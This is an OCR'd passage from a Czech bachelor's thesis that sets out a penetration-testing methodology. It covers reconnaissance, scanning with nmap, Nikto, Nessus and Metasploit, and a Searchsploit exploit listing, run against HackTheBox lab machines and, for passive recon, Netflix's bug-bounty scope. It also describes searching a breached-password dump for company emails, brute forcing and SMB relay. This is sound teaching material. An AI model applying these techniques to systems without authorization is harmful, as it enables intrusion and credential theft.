urcité zranitelnosti k proniknuti) ze své velké databaze. Umoznuje napsat i své vlastni
exploity. Pokud vime o zranitelnych mistech cile, vime, jaky exploit vyuzit a jak ho nastavit.
Pak uz ndm nic nebrani pokusit se dostat do systému cile. Tento néstroj bude také vyuzit v
praktické casti. Metasploit obsahuje také Payloads, které pouzijeme po proniknuti do systému

a nasledné se tam spusti (remoteshell, trojsky kun) [4].
3.9.4 Faze 4 — Report

Po skonceni penetracniho testovani je nutné vypracovat zpravu, kde bude struc¢né
nastinéna forma testovani a vyhodnoceny vysledky. Mély by zde byt vytyCeny vSechny
nalezené nedostatky a poznatky, doporuceni, na co se zamé&fit a ¢im neni potieba se zabyvat,

které metody jsou vhodné a které méné, jakym zpiisobem se da problémiim ptedchézet.
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4  Vlastni prace

V této praktické Casti bakalaiské prace je hlavnim cilem vytvofeni metodiky pro
penetracni testovani. Toto odvétvi se neustale vyviji, a tedy je zapotiebi neustale rozvijet své
znalosti. Kdyby zde byly popsany pouze piesné navody, béhem par let by se nedaly jiz pouzit.
A proto je dualezité, aby kazdy penetracni tester mél svou metodiku, podle které se bude fidit.

Dalsim problémem je i to, ze nikdo nema piesnou kopii serveru. Kazda firma vyuziva
jiné verze operacnich systému, jiné servery celkove. Maji jinou politiku pro silu hesel. Proto
neexistuje presny navod, podle které¢ho, kdyz se ho budete drzet, dosahnete vysledku, a to

uspesné prolomeni serveru.

4.1 Oblast testovani

Tato bakalafskéd prace nema za cil otestovat konkrétni firmu ¢i jeden jediny server. Ma
za ukol vytvotit metodiku pro celkové testovani. Proto zde bude vyuzito vice serverd, které
jsou nezévislé na sobé. Servery nebyly vytvofeny jako soucast bakalarské prace. Ve vétSing
pfipadi budou vyuzity servery ze stranky: https://www.hackthebox.eu/. V dobé& psani
bakalarské prace, tedy prelom roku 2019 — 2020, jsem na této strdnce mél VIP a servery, které
v této dob¢ jiz spadaji do Retired, tedy zde nebudou porusena zadna prava.

Pii testovani budou také vypnuty vSechny antiviry a firewally, a to z jednoduchého
divodu. Opét se neustale vyviji a ikolem penetracniho testera je, aby se pfizplisoboval.

V této praci bude pouze popsdno vyuzZiti vytvorené metodiky. A diky vSem témto

omezenim bude zaruceno, ze ziistanou aktualni alespon po n¢jakou dobu.

4.2 Vytvoreni metodiky pro penetracni testovani

Pfedtim nez se pustime do testovani, si vytvofime metodiku. Tato metodika bude
rozdélena do Ctyt fazi a ¢astené€ vychdzet z metodiky pana Mattse Seleckého.
penetracni testovani je sbér informaci, tedy dobra ptiprava a nashromazdéni dat.

Dvé ze ¢yt fazi jsou praveé zaméfeny na ziskavani informaci. Mnoho metodik jest€ uvadi
dalsi body, a to: udrzeni si piistupu a hlazeni stop. Zde je metodika zjednodusena, nebot
hlavni myslenkou této prace je, Ze ziskani co nejvice informaci je zdkladnim bodem pro
uspésné provedeni penetracniho testovani. Proto se tato bakalarska prace detailné vénuje této

myslence, namisto aby jen obecné zminila vice bodli. VZdy je moZzné na tuto metodiku
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navazat a rozsifit ji o vice bodii. D4 se vyuzit jak pro externi, tak interni testovani siti, a to je
jedna z véci, ¢im se odlisuje.

Metodiky pro penetracni testovani obvykle vychazeji ze zakladni idey a v jadru jsou
vSechny stejné. Metodika Vv této praci je zaméfena prevazné na skenovani a sbér informaci.
Zaroven jsou zde zminéné jednotlivé postupy, doporuceni, na co se zaméfit a jaké nastroje je
pro konkrétni fazi mozné pouzit. V druhé poloviné praktické ¢asti je metodika pouzita na
konkrétnich ptikladech, kde je také vice rozvinuta do hloubky.

Tucné vyznaCené ndstroje jsou touto metodikou vyuzivany a také v druhé pilce

bakalatské praci jsou jednotlivé popsany.
4.2.1 Pasivni skenovani

a) Satelitni obrazky, Schéma budov, Zaméstnanci

b) Oveéieni cile (whois, nslookup, dmitry)

€) Zakladni informace o organizaci (hunter.io, theHarvester, dmitry)

d) Nalezeni subdomén (theHarvester, nmap, sublist3r, dnsdumpster.com, dmitry)

e) Informace o pouZivanych sluzbach (Wappalyzer, builtwith.com, shodan.io,
whatweb)

f) Unikla data (haveibeenpwned.com, breached password)

Prvni krok v této metodice je vzdy stejny. Pasivnim skenovanim ziskdme co nejvice
informaci, co jsme schopni nalézt. Vyuzijeme k tomu piikazy a nastroje, které jsou uvedeny u
kazdé kategorie vySe. Pfi postupu v této metodice je vhodné spustit ze zacatku vzdy ty
nastroje, které¢ zaberou nejvice ¢asu. A béhem jejich skenovani se vénovat jinym vécem. Tim

se vyuzije ¢as naplno.
4.2.2 Skenovani a enumeration

Tato faze je stidle zamé&fena na sbér informaci. Oproti prvni fazi se ale jiZ jedné o aktivni
skenovani vici firmé. Postup testovani:
a) Skenovani sité. Zjistit, co vSe se na siti nachazi (netdiscover, nmap)
b) Zjistit co nejvice informaci o naSem nalezeném cili: oteviené porty, jaké servery
na ném bézi, jejich verze, operacni systém atd. (nmap)
C) Zaméfeni se na konkrétni sluzby (Nessus, Nikto)

a. http (DirBuster, Burpsuite)
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b. FTP (Zkusit se pfipojit a zjistit, zda je mozné nahravat na server soubory,
zjistit verzi: Metasploit)
c. Samba (Metasploit)
d. SSH (Nejméné zajimavé)
e. Hash (Pokusit se cracknout nalezeny hash kod: Hashcat)
d) 4.Shrnout a zaznamenavat si veskeré nalezené informace
Kazdé¢ zatizeni vyuziva jiné servery, ma jiné operacni systémy i jejich verze. Proto ¢im
dikladngjsi pruzkum provedeme a ¢im vice informaci nalezneme, tim 1épe pro nas. A to je

hlavni pro tuto metodiku.
4.2.3 Ziskani pristupu

Pokud prvni dvé faze provedeme diikladné, velmi si uleh¢ime tuto fazi. Tato faze je jiz
zamétena na ziskéani ptistupu do systému. Piistup mizeme ziskat nékolika postupy:
a) Vyuziti nalezenych slabin.
b) Dorucit payloady pomoci exploiti (Reverse shell x Bind shell, Non-staged
payloads x Staged payloads)
a. Zastarala verze, pro které jsou jiz znamé jejich nedostatky (Metasploit)
b. FTP a http (pokud je mozné na server nahravat soubory, je mozné nahrat
Skodlivy soubor na server, ktery ndm umoZzni pfistup. K vytvoreni
skodlivého souboru lze vyuzit nastroj: msfvenom)
c) Pokud zadné slabiny nenalezneme, vyuzit metodu Brute force
a. SSH (Pomoci hrubé sily zkusit uhadnout heslo, nastroj: Hydra)
b. http (Pokud na webové strance nalezneme piihlasovani, mizeme zkusit
hrubou silou nebo pomoci wordlistu uhadnout heslo, nastroj: Burpsuite)
d) LImnr Poisoning (Zkusit odchytavat hash od uZzivatelti na stejné siti a nasledné
ziskané hash kody cracknout, nastroje: Responder, Hashcat)
e) Smb relay (Odchyceny hash pienést do dalSich zafizeni a tim ziskat pfistup a
udaje i z téchto zatizenich, nastroje: Responder, ntimrelayx.py)

Posledni dva body slouzi pouze v ptipadé interniho penetra¢niho testovani.
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4.2.4 Report

Posledni fazi mé metodiky je report. Ten je stejné dilezity jako ostatni faze. Je potieba
shrnout jaké nedostatky v prubéhu testovani byly nalezené a v jakych konkrétnich situaci by

bylo vhodné zlepsit zabezpeceni.

4.3 Zacatek testovani

Prvnim krokem vSech testeri by mélo byt to, Ze budou mit k dispozici pocita¢ nebo
prostfedi vhodné k testovani. J4 jsem se rozhodl pro klasickou instalaci opera¢niho systému
Kali Linux na svém pocitaci. Samoziejmé by stacilo nainstalovat ho ve virtudlnim prostiedi,
ale vzal jsem v potaz i to, ze n¢které nastroje nejdou poté naplno vyuzivat. Napiiklad Hashcat
vam nedovoli spustit deSifraci hash koédu z divodu nedostatku vykonu. Instalace je velmi
jednoduchéd a hlavni vyhodou je i to, Ze vétSina nastroju, které zde budeme vyuzivat, je
pfeinstalovana. Pouze je nutné vytvofit uzivatele, ktery nebude root, nebot’ nékteré néstroje

toto konkrétné vyzaduji a pod Gétem root se nespusti.

4.4 Pasivni skenovani

Penetracni testovani se rozd€luje podle dostupnych informaci, které mame pred utokem
k dispozici. Tato bakalafska prace vychazi z toho, Ze nic kromé zakladnich informaci neni k
dispozici.

Pred jakymkoliv aktivnim Gtokem je dobré si zjistit co nejvice informaci. Pokud se bude
jednat o interni penetracni testovani, miiZou nds zajimat i satelitni obrazky budovy nebo
stavebni nakresy. Abychom méli ptehled kde, se, co nachazi a nevy¢nivali z davu.

K témto postupim je vyuzito stranky: https://bugcrowd.com/programs. Zde jsou k
dispozici firmy, které davaji za jistych podminek pravo k tomu, aby byly otestovany.
Otestovana bude firma Netflix, ktera se dne 17.02.2020 na této strance nachazi.

Ptikaz WHOIS muZe poskytnout zdkladni informace o dané doméné. KdyZ je tento
ptikaz pouzit na netflix.com, vycteme zde véci jako: kdy jim vyprsi doba expirace, doba
zalozeni, kdo se o registraci postaral, kde se organizace nachazi, tedy jeji presna adresa. V
tomto konkrétnim ptipad€ je zde uvedena i emailova adresa jejich administratora. Neda se
fici, ze tyto informace poslouZzi v priabehu testovani, nicméné kazdy spravny penetracni tester
by se m¢él snazit ziskat co nejvice informaci, jak to jen jde. V tom je jeho sila. Pfikaz nslookup

nam poskytne misto jména domény jejich IP adresy.
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DalSim krokem pfi testovani by mohlo byt navstiveni stranky hunter.io. Tato stranka
nam poskytne zakladni informace o organizaci jako jméno a pfijmeni zaméstnanct, jejich
emailové adresy a také nejvice vyuzivany vzor pro email. Nabizi jak bezplatnou verzi, kterd je
omezena na 50 pozadavkii za mésic, tak placenou. Pro bezplatnou verzi je nutné zadat své
telefonni ¢islo. To nemusi vS§em vyhovovat, proto existuje i alternativa.

Jedna se o nastroj, ktery je jiz predinstalovany v Kali Linuxu. Nazyva se theHarvester.
Miuiizeme mu nastavit limit na vyhledavani vysledkt a definovat mu zdroj, kde hledat. Vse je
piehledné¢ popsano v napovédé. Pro konkrétni pifipad netflix.com nebyly nalezeny zadné
uzite¢né vysledky. V jinych piipadech to nalezne par emailu, jejich subdomény. Obcas i
zameéstnance s jejich pozici. Takze se vyplati to alespon zkusit. Nicméné v porovnani s
hunter.io je nalezeno vysledki daleko méné a navic oproti hunter.io, kde jsou vysledky
okamzité, toto mize zabrat 1 n€kolik desitek minut.

Existuje stranka haveibeenpwned.com, kde po zadani emailové adresy zjistime, zda
uzivatel pouzival néjakou sluzbu, ve které doslo k uniku hesel. To se da dobie vyuzit s
hunter.io a po zji$téni emailovych adres zaméstnanct se podivat, zda u n¢koho k néfemu
podobnému nedoslo.

Na internetu existuje slozka breached password, ve které se nachazi data o velikosti 44.2
GB. Zde nalezneme vSemozné emailové adresy a hesla, které byly v minulosti ukradeny.
Jelikoz se jedna opravdu o velké mnozstvi souborti a dat, nebylo by chténé v nich listovat a
hledat nase cile. UZivatel na github.com vytvofil nastroj, ktery umozni jednotlivé shody
nalézt. Sta¢i zadat pouze @netflix.com a néstroj vSechny shody nalezne. Poté co ndstroj
skon¢i, vytvoii tfi textové dokumenty. V jednom jsou jak uzivatel¢, tak jejich jména, v
druhém pouze uzivatelé a ve tfetim pouze hesla. Zde se vyplati znat zékladni vzor emailu,
protoze ne vSe miiZe patfit pfimo Netflixu a tim eliminovat vysledky.

Je dilezité se snazit najit vSechny jejich dostupné sub domény. Kdybychom testovali
pouze jednu stranku, sami sebe omezujeme. K tomu nam slouzi nastroj sublist3r. Ten v Kali
Linuxu pfedinstalovany neni, ale 1ze ho velmi jednoduSe doinstalovat. Po nainstalovani staci
pouze pustit tento nastroj a jiz nas navede, co vSe je potieba ud¢lat. Zde staci zadat pouze
doménu, ke které chceme najit subdomény. Béhem chvilky tento nastroj prohleda internet. Z
vypisu muzeme zjistit, jaké sluzby pouzivaji, je zde airmail, webmail, vpn.

Nastroj najde ale 1 webové stranky, které nejsou funkéni. K tomu, abychom nemuseli
postupné kazdou zkoumat, mizeme vyuzit nastroj httprobe od uZivatele tomnomnom z
GitHubu. Instalace je jednoduchd. Poté je jen potfeba zkompilovat program pomoci piikazu

go build. K tomu je jesté zapotiebi stdhnout programovaci jazyk Go. Poté se main.go
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zkompiluje a jiz se d4 bez problému vyuzivat. Nasledné staci piikazem cat nazevsouboru.txt |
Jhttprobe spustit a program se postara o zbytek.

Také nas zajima, jaké konkrétni sluzby dana stranka vyuziva a co vSe v sob¢ skryva. K
tomu muizeme vyuzit nastroj Wappalyzer. Jedna se o rozsiteni do prohlizece Firefox. Poté, co
ho nainstalujeme a vejdeme na stranku, kterou zkoumame, ndm prozradi, jaky programovaci
jazyk vyuziva. Jaké jsou web servery i jejich verze. To mlizeme vyuzit pfi hledani nedostatki,
které lze zneuZit.

Jako druhou variantu 1ze pouzit builtwith.com, ktery ndm poskytuje az mnoho informaci.
U vétsich stranek to mize byt nepiehledné a obtizné se v ném orientovat a najit to zajimavé.
V Kali Linuxu jesté existuje nastroj whatweb. Stale plati, ¢im vice ndstrojii pouzijeme, tim
Iépe. Protoze kazdy miize odhalit néco navic. Né&jakou dalsi sluzbu nebo verzi jiz odhalené
sluzby.

Napriklad ptimo u Netflixu nastroj Wappalyzer odhali jen to, Ze vyuzivaji jQuery s verzi
1.11.1 a Bootstrap. Zatimco stranka builtwith.com ndm d& podrobné informace o sluzbéch,
které bézi na doméng i jejich subdoménach.

Nejslabsim ¢lankem v ochrané jsou vZdy lidé. Jsou nejvice zranitelni a budou vZdy lini
pii volbé hesel. Proto je nutné si udélat i vyzkum co se tyce socialnich médii. Zjistit jejich
jména, fotky atd. Cim vice informaci, tim 1épe. Nikdy nejde fici, uz mam dost. Stile je nutné
se snazit zjistit vic a vic.

AZ do této Casti byla bakalafské prace zaméfena pouze na sbér dat, které jsou dostupné
na internetu. Nikdy ¢lovék nemize fici, co odhali a co staci. Vzdy je zapotiebi drzet se hesla:
,sesbirat toho co nejvice co jde*. Kazdy nastroj zde uvedeny odhali néco jiného nebo néjakou
dalsi informaci navic. Mozna Zadné uzite¢né informace v této Casti odhalené nebudou. Ale

vzdy je zapottebi to alesponl zkusit.

Tabulka 2: Nastroje pro pasivni skenovani

emaily Uzivatelé Subdomény
Hunter.io 471 X X
theHarvester 3 X 10
sublist3r X X 929
dmitry 11 X 6
Dnsdumpster.com X X 282*

*také zobrazi mapu domén
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4.5 Skenovani a enumeration

V této Casti se jiz dostavame do faze, kdy aktivn€ zaCneme vystupovat proti konkrétnim
serverim. Nejdiive zde bude stanoven obecny postup, co je dobré udélat, jaké nastroje, na co
se zamg¢fit a tento postup bude také vyuzit na konkrétnich ptikladech.

Pokud vime, jaké zafizeni se, pod jakou IP adresou nachéazi, mizeme se rovnou zaméfit
na hlubsi skenovani tohoto zafizeni. Pokud ale nemame nalezené zafizeni, je ho nutné
identifikovat. K tomu slouZzi néstroje: Netdiscover, Nmap. Oba tyto nastroje jsou jiz v Kali
Linuxu nainstalovany.

Netdiscover slouzi pouze ke skenovani sité a objeveni vSech zafizenich v této siti
vyuzitim odesilani ARP packetl. Umoznuje nastavit rozsah skenovani zadanim piimo IP
adresy nebo masky sité. Je zde mozné také nastavit pocet odeslanych ARP zadosti nebo
nastavit pasivni méd, pfi kterém nedochazi k zadnému odesilani a pouze provadi ,,cmuchani“
pod terminem sniff. Vice vyuzivame Nmap, ale obéas Netdiscover je rychlejsi a Nmap vyvola

neobvyklou aktivitu na siti, které si antiviry pov§imnou a upozorni na ni.

Obrazek 3 nastroj Netdiscover - hledani zatizeni na siti, zdroj: autor

Currently scanning: Finished! | Screen View: Unique Hosts

2128 Captured ARP Req/Rep packets, from 13 hosts. Total size: 127970

19260
12300
00:0c:29:a5:c8:77 12000 VMware, Inc

11520
11760
11640
8990
12600
11400
12000
3540
1260

300

Obrazek 4 nastroj Nmap - hledani zafizeni na siti, zdroj: autor

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 20:47 CET
Nmap scan report for (192.168.1.1)
Host is up (0.00088s latency).

Host is up (0.18s latency).

Nmap scan report for
Host is up (@.18s latency).

Nmap scan report for 192.168.1.35

Host is up (0.00062s latency).

IMAC Address: 00:0C:29:A5:C8:77 (VMware)

Nmap scan report for (192.168.1.78)
Host is up (0.30s latency).

MAC Address:

Nmap scan report for (192.168.1.99)

Host is up (0.22s latency).

MAC Address:

Nmap scan report for (192.168.1.117)
Host is up (0.00055s latency).

MAC Address:

Nmap scan report for (192.168.1.125)

Host is up (0.23s latency).

MAC Address:
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Na obrazcich je vidét, jak oba tyto nastroje objevily vSechna zafizeni na siti. Tedy 1 nas
cil, ktery ma IP adresu 192.168.1.35. Vyuzivame virtudlni server, ktery mame spustén pies
VMware.

V moment€, co objevime nase cilové zafizeni/server, jde nam o to, abychom o ném
zjistili co nejvice informaci. A zde pfichazi na fadu dal$i funkce jiz pouzivaného nastroje
Nmap. Zajimaji nés, jaké porty jsou oteviené, jaké sluzby na nich jsou spusténé, pii nejlepsim
je dobré zjistit i verze sluzeb. Nmap toto vSe umoznuje.

Vyuzivame tuto strukturu piikazu: nmap -T4 -A -p- -r IP naseho cile

T4: zde znaci, jakou rychlosti chceme skenovani provadét. Rozmezi je <0-5>. Pficemz
¢im vétsi Cislo, tim rychlejsi skenovani.

A: Nam povoli OS detekci a také zjisténi verze a pouziti skripta.

-p-: Znamena, Ze chceme skenovat vSechny porty. Mohli bychom napsat jen -p80 a tim
bychom zjistovali informace pouze o portu 80.

Bez jiného nastaveni Nmap skenuje TCP porty metodou sS celym nazvem stealth
scanning. Nicméné ndzev v dne$ni dob¢é neodpovidd realité. Pokud ma server dobré
zabezpeceni, tento sken objevi. Funguje vyuzivanim metody 3 hand shake. Posle Zadost na
port s tim, ze by se chtél pripojit: SYN. KdyZ je port otevien tak mu odpovi: SYN ACK.
Misto toho, aby pokra¢oval Nmap v komunikaci, jen odpovi, ze vlastné jiz nema zajem a
odesle: RST.

Nmap také umoziuje skenovat UDP protokoly, ale zde se vyplati pouze specifikovat
konkrétni rozmezi. My pouzivame skenovani porti do 1000. V momenté, kdy bychom toto

nespecifikovali, trva to opravdu dlouho.

33



Obrazek 5 nastroj Nmap - skenovani protokoli, zdroj: autor

Starting Nmap 7.8@ ( https://nmap.org ) at 2020-02-23 20:56 CET
Nmap scan report for 192.168.1.35
Host is up (0.00055s latency).
Not shown: 65529 closed ports
STATE SERVICE ]
open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:

1024 bB:74:6¢:db:fd:8b:e6:66
1024 8f:
_ 1024 ed:be
|_ssh\'1: Server supports SSHvl
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|7 Potentially risky methods: TRACE
| _http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/0.9.6b
|_httpftitle: Test Page for the Apache Web Server on Red Hat Linux
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd (workgroup: MYGROUP)
open ssl/https  Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ss1/2.8.4 OpenS5L/0.9.6b
| _http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ss1/2.8.4 OpenSSL/@.9.6b
|_http-title: 4@0 Bad Request
|_ssl-date: 2020-02-23T20:59:40+00:00; +1h@1m50s from scanner time.

SSLv2 supported
ciphers:
$SL2_RC4_128_EXPORT40_WITH_MDS
SSL2_RC2_128_CBC_WITH_MDS
SSL2_RC4_64_WITH_MDS
SSL2_DES_64_CBC_WITH_MDS
SSL2_RC4_128_WITH_MD5
SSL2_DES_192_EDE3_CBC_WITH_MDS
_ SSL2_RC2_128_CBC_EXPORT4@_WITH_MD5
32768/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:A5:C8:77 (VMware)

nux:Llinux_kernel:2.4
x 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:

ADDRESS
0.55 ms 192.168.1.35

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.98 seconds

Na obrazku nad timto textem vidime jiz vysledek skenovani TCP portii. VypiSe nam to
vSechny oteviené porty a k nim informace, které se povedlo ziskat. Ne vzdy se povede nalézt
presné verze systému a je potieba vyuzit dalSich nastroju.

ZkuSeny penetracni tester jiz bude mit svou metodiku a védét, které sluzby jsou vice
zranitelné oproti ostatnim.

V mé metodice budeme postupovat nasledné:

1. Vidime, Ze zde existuje webova stranka na portu 80, tak ji navstivime a zkusime
nalézt nedostatky.
Spustime nastroj Nessus a Nikto
Podivame se na port, na kterém béZi Samba

SSH nechame uplné naposledy, protoze zde neexistuje tolik moznosti.

o &~ N

Shrnuti vSech nalezenych informaci
451 HTTP

Prvni, co viibec vzdy udélame, pokud nalezneme, Ze na serveru bézi sluzba http, Ze se na
tuto stranku podivame. Obcas se zde vyskytnou zajimavé informace. Druha véc je, ze

spustime nastroj DirBuster. Tento ndstroj ma za ukol nalézt vSechny skryté adresafe pomoci
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brute force. Tento nastroj jiz obsahuje své vlastni word listy. Funguje to stile stejné, tedy
pokus omyl. VSe, co obsahuje ve word listu, se snazi nacist. Pokud se mu to povede,
vyhodnoti, ze tento adresar existuje. Opét ¢im rozsahlejsi word list vyuzijeme, tim nam to
muze nalézt vice informaci. BohuZzel zde také roste mnohonasobné Cas. Pro nase potieby
vyuzivame word list small. I tak prab¢h hledéani trva skoro ptl hodiny. Je zde dilezité védet,
na jakém opera¢nim systému webova stranka jede, nebot’ je nutné zadat spravnou piiponu
souboru. Pokud bychom na Linuxu hledali pfiponu s Windows, zadnych vysledkt bychom se
nedockali.

Na naSem zafizeni, které jsme dosud vyuzivali pro nase testovani, se nachazi pouze
zakladni defaultni stranka. To nam az tolik nepomtize. U http bychom chtéli poukazat na dveé
zranitelnosti, pro kazdou zranitelnost vyuzijeme jiny stroj.

Prvni zranitelnosti je, kdyz na stroji bézi sluzba http a FTP, ktery umoznuje anonymni
pristup. Pokud vidime FTP s anonymnim pfistupem, prvni, co zkusime, se na FTP pfipojit. Po
dukladném zkoumani jsme zjistili, ze nas virtualni stroj Devel z hackthebox.eu tyto podminky
splituje. Po ptihlaseni do FTP prvni, co udélame, je prozkouméame vsechny dostupné soubory.
Nikdy neni jisté, co tam nalezneme. V jiném piikladu se nam povedlo nalézt starou slozku s
udaji, které jesté nebyli Sifrované. Zde se nic zajimavého nenachazi, tak je nutné premyslet co
dal. Vidime, Ze je zde moznost nahrat soubor. Po ovéfeni, Ze k tomu mame opravdu
pravomoci, jiz pfemyslime, jak toho vyuzit. Vime, ze bézi na Windows, vime, Ze mame
ptistup k jejim souborim. To vSe si poznamename a v dalsi fazi vytvotime payload.

Druhé zranitelnost je, pokud objevime v http moZnost piihlaSeni se na server. K tomuto
piikladu jsme vyuzili virtualni stroj Jerry také z hackthebox.eu . Po skenovani porti jsme
objevili, Ze tento stroj provozuje http server. Po navstévé stranky na nas vyskocila uvodni
stranka s moznosti piihlaseni. Opét bychom pustili program DirBuster a snazili se objevit
dals$i adresafe, ale v tomto pifikladu nam jde o néco jiného. V momenté, kdy objevime
moznost piihlésit se, uvazujeme o tom, jak se do tohoto systému dostat. Sama stranka nam
prozradi, jaka verze zde bezi: Apache Tomcat/7.0.88. Jiz to je chyba, protoze prvni, co
pujdeme udélat je, Ze se zkusime podivat, zda existuji vychozi ptihlasovaci udaje. Tyto udaje
se nam povedlo nalézt a samoziejmé bychom je zahrnuli do svého word listu. Pokud by se
jednalo o redlnou firmu, jiz bychom z piedchoziho dukladného skenovani méli jisté
informace, jako uniklé udaje, nazev firmy atd. To vSe bychom vyuzili pii rozsifeni naseho
word listu. V této fazi jsme skoncili. Zjistili jsme mozny prinik a ten zkusime podniknout ve

fazi ziskani ptistupu.
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45.2 Nessus a Nikto

Nikto nastroj pro skenovani hrozeb na webu. Pfi dobrém zabezpeceni, dojde k
zablokovani a zadné vysledky se nedozvime. Na zacatku to provede detekci systému. Ukéaze
nam, zda jsou néjaké systémy zastaralé. A také jak moc, protoze to ukaze jejich zastaralou

verzi a verzi, kterda je praveé ted dostupnd. Také to zobrazuje zranitelnosti:

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined.
+ The X-Content-Type-Options header is not set.

Pfi externim penetracnim testu nas toto tolik nezajima. Jsou to spiSe informace pro lidi,
kteti by délali webové penetracni testy. Jde o to, Ze vidime, ze zabezpeceni moc nedali, a tedy

bude existovat velka Sance, Ze budou nedostatky i v ostatnich vécech.

+ mod ssl1/2.8.4 - mod ssl 2.8.7 and lower are vulnerable to a remote
buffer overflow which may allow a remote shell.

Tato informace je pro nas dilezita. Rika nam, Ze do verze 2.8.7 je SSL zranitelné pro
preteCeni bufferu a ziskani vzdaleného ptistupu. Tuto zranitelnost si urcité poznamename a
vyuZzijeme v dal$i ¢asti, az budeme chtit ziskat ptistup.

Pro nas lepsi nastroj je Nessus. Umoziuje bezplatnou i placenou verzi. Pro zakladni
skenovani zranitelnosti si clovék naprosto bez problému vystaci s bezplatnou verzi. Umoziiuje
zakladni 1 pokrocily sken. V nastaveni je mozné zadat jeden Ci vice cild, vybrat jaké porty
skenovat, zda zékladni, ¢i vSechny, jak komplexni skenovani provadét. Vyhodou tohoto
nastroje je to, Ze se k nému pfistupuje skrze web. Tedy mizeme tento nastroj spustit, nechat

béZet a vénovat se jinym zalezitostem, nez skenovani skon¢i.
453 Samba

Dilezité je uvédomit si, k cemu Samba slouzi. Umoziuje vzdaleny pfistup k serveriim.
JelikoZ Nmap nam k této sluzb& neodhalil moc informaci, je nutné zjistit verzi pomoci jinych
nastrojii. K tomu vyuzijeme nastroj Metasploit. Tento ndastroj je jasny top mezi nastroji pro
penetracni testovani. V dob¢, kdy je psana tato bakalarska prace, tedy 02.2020, Metasploit
obsahuje 1965 exploits, 1095 auxilary a 558 payloads. V tento moment nas zajima skupina
auxilary, protoze pod touto kategorii nalezneme rtizné zpusoby skenovéni. Vyuzijeme ptikaz
search, abychom nasli nastroje uréené pro SMB. A nalezneme sken urCeny k zjisténi SMB
verze. Po velmi jednoduchém nastaveni nam tento sken zjisti, ze server vyuziva sambu o verzi

2.2.1a.
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454 SSH

Jak jiz bylo uvedeno, tato sluzba nés zajima nejméné. Mluzeme se zkusit piimo k SSH
piipojit a zjistit, zda neuvadi né&jaké zakladni informace, které by se nam mohli hodit. Pokud

nic nenalezneme, je to vSe, co nds v této casti zajima.
4.5.5 Shrnuti

Po zjisténi jednotlivych verzi nas zajima, zda maji tyto verze né&jaké zranitelnosti. K
tomu poslouzi Google ¢i, pokud je potieba vyhledavat offline, ndstroj nainstalovany v Kali
Linuxu Searchsploit.

Webové stranky, které obecné rad pouzivam, jsou: exploit-db.com a rapid7.com. Nejde
uplné fici, kterd je leps$i. V penetracnim testovani jde o to hledat. A nékdy nalezneme
uzitecngjsi véc na jedné strance, podruhé zas nékde uplné jinde. TakZe nejvétsi chybou by
bylo upnout se pouze na jednu jedinou databazi informaci. Exploit-db.com je z hlediska
prehlednosti pro nas lepsi, daji se zde aplikovat filtry jako: pro kterou platformu, setadit dle
data nahrani. Vyhodou rapid7.com je to, Ze se jedna o stejné vyrobce, ktefi vytvorili néstroj
Metasploit. Proto kdyz zde nalezneme exploit, najdeme zde také navod, kde ho nalezneme v

Metasploit. Diky tomu neni zapotiebi nic instalovat.

4

Pokud né¢jaky exploit nalezneme, poznamename si, a v dalsi ¢asti metodiky tedy: Ziskani
pristupu tyto znalosti vyuzijeme. Nastroj Searchsploit zde nalezl hned n€kolik moznych
exploit:

Obriazek 6 nastroj Searchsploit — hledani exploit, zdroj: autor

Exploit Title

- Arbitrary File Creation 1 remote/20968. txt

< .8 (0SX) - trans2open Overflow (Metasploit) exploits/osx/remote/9924.rb

< .6 - 'nttrans’' Remote Buffer Overflow (Metasploit) (1) exploits/linux/remote/16321.rb

(BSD x86) - 'trans2open' Remote Overflow (Metasploit) exploits/bsd_x86/remote/1688@.rb

(Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation exploits/linux/local/23674. txt

(Linux x86) - 'trans2open' Remote Overflow (Metasploit) exploits/linux_x86/remote/16861.rb

(0SX/PPC) - 'trans2open' Remote Overflow (Metasploit) exploits/osx_ppc/remote/16876.rb

(Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit) exploits/solaris_sparc/remote/16330.rb

- Brute Force Method Remote Command Executien exploits/linux/remote/55.c
'call_trans2open’ Remote Buffer Overflow (1) exploits/unix/remote/22468.
'call_trans2open' Remote Buffer Overflow (2) exploits/unix/remote/22469.
'call_trans2open’ Remote Buffer Overflow (3) exploits/unix/remote/22470.
'call_trans2open' Remote Buffer Overflow (4) exploits/unix/remote/22471
'nttrans’' Remote Overflow (Metasploit) exploits/linux/remote/9936
CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow exploits/unix/remote/22356.

- Remote Buffer Overflow exploits/linux/remote/7.pl
(Linux/BSD) - Remote Code Execution exploits/multiple/remote/10.c

.0
.2
.8
.8
.8
.8
.8
.8
5
WX
WX
o
5
WX
WX

Je dulezité v tom umét Cist: v levé Casti jsou definovany pro jaké verze tyto nalezené
exploit funguji a zakladni popis programu. V druhé ¢ésti se lze docist pro jaky operacni
systém to je, zda se jedna o remote piistup tedy vzdaleny a nasledné v jakém jazyce je napsan.

Prvni, co bychom zkusili, je program nttrans Remote overflow (Metasploit), protoze se jedna
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o program, ktery ndm umoZzni spustit mlj oblibeny néstroj Metasploit. Pokud by tento
program nefungoval, museli bych zkouset dal$i mozné varianty. Jako penetra¢ni tester neni
mozné ocekavat, ze vSe bude fungovat, jak ma. Cela tato ¢innost je o dohledavani novych

informaci a zkouSeni, Pokud to ¢lovék po prvnim neuspéchu vzda, moc daleko se nedostane.
4.6 Ziskani pristupu

V momenté, co udélame poiadné skenovani a enumeration, tato cast je uz velmi
jednoduché. Jestli se ndm podafi nalézt zranitelnd mista a také programy, které tyto
zranitelnosti proméni v nas prospéch, staci pouze tyto programy spravné spustit a piistup je
